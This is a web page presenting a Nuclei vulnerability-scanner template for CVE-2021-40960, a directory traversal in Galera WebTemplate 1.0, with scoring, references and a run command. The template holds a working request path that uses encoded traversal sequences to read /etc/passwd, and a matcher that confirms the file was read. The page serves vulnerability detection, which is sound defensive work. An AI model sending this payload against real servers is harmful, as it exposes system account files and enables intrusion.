Skip to content

Galera WebTemplate 1.0 Directory Traversal

ID: CVE-2021-40960

Severity: critical

Author: daffainfo

Tags: cve2021,cve,lfi,galera

Galera WebTemplate 1.0 is affected by a directory traversal vulnerability that could reveal information from /etc/passwd and /etc/shadow.

id: CVE-2021-40960
info:
name: Galera WebTemplate 1.0 Directory Traversal
author: daffainfo
severity: critical
description: Galera WebTemplate 1.0 is affected by a directory traversal vulnerability that could reveal information from /etc/passwd and /etc/shadow.
impact: |
An attacker can read, modify, or delete sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in Galera WebTemplate 1.0.
reference:
- http://www.omrylmz.com/galera-webtemplate-1-0-directory-traversal-vulnerability-cve-2021-40960/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40960
- http://www.galera.com.tr/
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-40960
cwe-id: CWE-22
epss-score: 0.00946
epss-percentile: 0.81464
cpe: cpe:2.3:a:galera:galera_webtemplate:1.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: galera
product: galera_webtemplate
tags: cve2021,cve,lfi,galera
http:
- method: GET
path:
- "{{BaseURL}}/GallerySite/filesrc/fotoilan/388/middle//.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022100fb825d4eb8020723740335368776a8267261025da86cc66b3ace8e31be9c9a4f02203ca9ff23f690c446fdeddcd9a987950a646946d5f96fefec5405a18cb6b59ac4:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-40960.yaml"

View on Github